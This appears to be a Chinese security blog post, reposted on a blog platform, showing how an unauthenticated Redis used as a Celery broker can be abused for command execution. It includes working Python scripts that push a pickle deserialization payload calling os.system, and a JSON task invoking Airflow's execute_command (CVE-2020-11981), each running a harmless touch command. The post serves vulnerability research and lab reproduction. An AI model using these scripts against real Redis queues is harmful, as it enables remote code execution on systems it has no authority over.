Celery Redis未授权访问命令执行利用

在这里插入图片描述
首发补天社区:https://forum.butian.net/share/224←走过路过帮点一下~

前言

Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。

前段时间碰到个未授权的Redis,看里面的数据是作为Celery的任务队列使用,所以想研究下这种情况应该如何进行利用。

目前能够想到的利用有两种:

  1. 任务信息序列化使用pickle模式,利用python反序列化漏洞进行利用
  2. 找到可以执行任意命令、代码、函数的Task,下发该Task任务

本文只讨论Redis,使用其他AMQP(ActiveMQ、RabbitMQ等等)应该也是同理。

相关环境已经给vulhub提了PR,后续可以从vulhub上布置环境进行体验。

目前celery3.1.x的环境已经合进去了:

https://github.com/vulhub/vulhub/tree/master/celery/celery3_redis_unauth

Celery的任务Serializer

有个比较有意思的地方:3.1.x最后一个版本为3.1.26,在README中说明下一个版本为3.2,结果3.1.x之后的版本,直接变成4.0.

task_serializer4.0之前默认为pickle,之后为json
result_serializer4.0之前默认为pickle,之后为json
event_serializer只接受JSON

Celery < 4.0的利用(Pickle反序列化利用)

由于Celery < 4.0的情况下,默认的task_serializer为pickle,可以直接利用pickle反序列化漏洞进行利用。

(如果对方取result的话,也可在取result处进行覆盖利用)

本章以Celery3.1.23为例进行利用。

写一个最简单的Task:

from celery import Celery
app = Celery('tasks', broker='redis://redis/0')
@app.task
def add(x, y):
    return x + y

Celery使用的默认队列名为celery,在Redis中表现为db中存在一个key为celery的List(存在未消费的任务时存在):

在无Worker的情况下启动任务:

在这里插入图片描述

可以看到名为celery的key,以及其中内容,body为base64后的pickle序列化内容。

在这里插入图片描述

**Tips:**可以通过以_kumbu.bind.为前缀的key,确定都有哪些队列,这个是Kombu的一个命名规范

Celery的具体任务消息结果可以参考官方文档,此处不做详细讨论:

https://docs.celeryproject.org/en/stable/internals/protocol.html

Celery使用Kombu这个AMQP实现进行任务的下发与拉取,这里不分析详细逻辑,直接拿出队列内容,写一个简单的利用脚本(执行touch /tmp/celery_success命令),将body内容替换为命令执行的pickle数据:

import pickle
import json
import base64
import redis
#redis连接
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
#队列名
queue_name = 'celery'
ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
task_dict = json.loads(ori_str)
command = 'touch /tmp/celery_success'
class Person(object):
    def __reduce__(self):
    	return (__import__('os').system, (command,))
pickleData = pickle.dumps(Person())
task_dict['body']=base64.b64encode(pickleData).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

执行之后,可以看到Celery Worker所在console有如下报错:

在这里插入图片描述

继续查看tmp目录,可以看到文件创建成功:
在这里插入图片描述

Celery 4.0之后的利用

Celery 4.0之后,默认的任务消息序列化方式由Pickle改为了JSON,无法直接再利用Pickle反序列化。

配置了CELERY_ACCEPT_CONTENT支持Pickle

Celery4.0之后,如果直接使用上面的脚本会有如下拒绝反序列化的提示:

在这里插入图片描述

实际上在celery 3.1.X后面的版本在启动worker时,会有个提示:如果3.2之后的版本(实际上是4.0),需要配置启动CELERY_ACCEPT_CONTENT选项来启动worker的pickle支持。

在这里插入图片描述

添加CELERY_ACCEPT_CONTENT配置,即可如4.0版本前一样进行利用:

app.conf['CELERY_ACCEPT_CONTENT'] = ['pickle', 'json', 'msgpack', 'yaml']

Apache Airflow的CeleryExecutor利用

CVE-2020-11981是利用Airflow的CeleryExecutor类来进行命令执行,可利用版本小于1.10.10,

当airflow使用CeleryExecutor进行执行时,会启动celery作为任务调度,Celery Worker中可执行airflow.executors.celery_executor.execute_command方法任务,具体代码看最后的diff图片。

execute_command就属于开始说的第二种,可以执行任意命令的task.

写入一个JSON任务消息执行airflow.executors.celery_executor.execute_command到airflow的celery redis队列中,此处注意队列名为default:

import pickle
import json
import base64
import redis
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body)).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

Airflow的worker日志:

在这里插入图片描述

worker所在docker的tmp目录中出现airflow_success文件:

在这里插入图片描述

修复后只允许数组前三位为[“airflow”, “tasks”, “run”],提交如下,后续改为单独抽出一个validate函数,用于多处的命令执行检测:

在这里插入图片描述

结语

Celery 4.0以上暂未找到更好的利用方法,等找到以后再发吧。

参考

https://docs.celeryproject.org/en/stable/userguide/configuration.html

https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk

https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers

https://www.jianshu.com/p/52552c075bc0

https://www.runoob.com/w3cnote/python-redis-intro.html

https://blog.csdn.net/SKI_12/article/details/85015803

https://nvd.nist.gov/vuln/detail/CVE-2020-11981

https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Celery是一个Python分布式任务队列框架,而Redis是一个高性能的键值存储数据库。当它们结合在一起时,可以构建一个强大的分布式任务队列系统。 CeleryRedis集群的结合可以提供以下功能: 1. 异步任务处理:Celery可以将任务异步地发送到Redis集群中,然后由工作节点处理。这样可以避免任务阻塞主线程,提高系统的响应速度。 2. 分布式任务调度:Redis集群可以作为Celery的消息代理,负责存储和传递任务消息。多个Celery工作节点可以从Redis集群中获取任务,并进行并行处理。 3. 任务结果存储:Celery可以将任务的执行结果存储在Redis集群中,以便后续查询和使用。 4. 任务队列监控:Redis集群可以提供监控和管理Celery任务队列的功能,例如查看队列长度、清理过期任务等。 为了搭建CeleryRedis集群,你需要进行以下步骤: 1. 安装和配置Redis集群:根据你的需求,可以选择使用Redis Sentinel或Redis Cluster来搭建Redis集群。配置好集群后,确保所有节点都正常运行。 2. 安装和配置Celery:使用pip安装Celery库,并在Celery配置文件中指定Redis集群的连接信息。 3. 编写任务代码:定义你的任务函数,并使用Celery的装饰器将其注册为Celery任务。 4. 启动Celery工作节点:在每个工作节点上启动Celery的工作进程,它们将从Redis集群中获取任务并执行。 5. 发布和调度任务:在你的应用程序中,使用Celery的API将任务发布到Redis集群中,并设置任务的调度规则。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值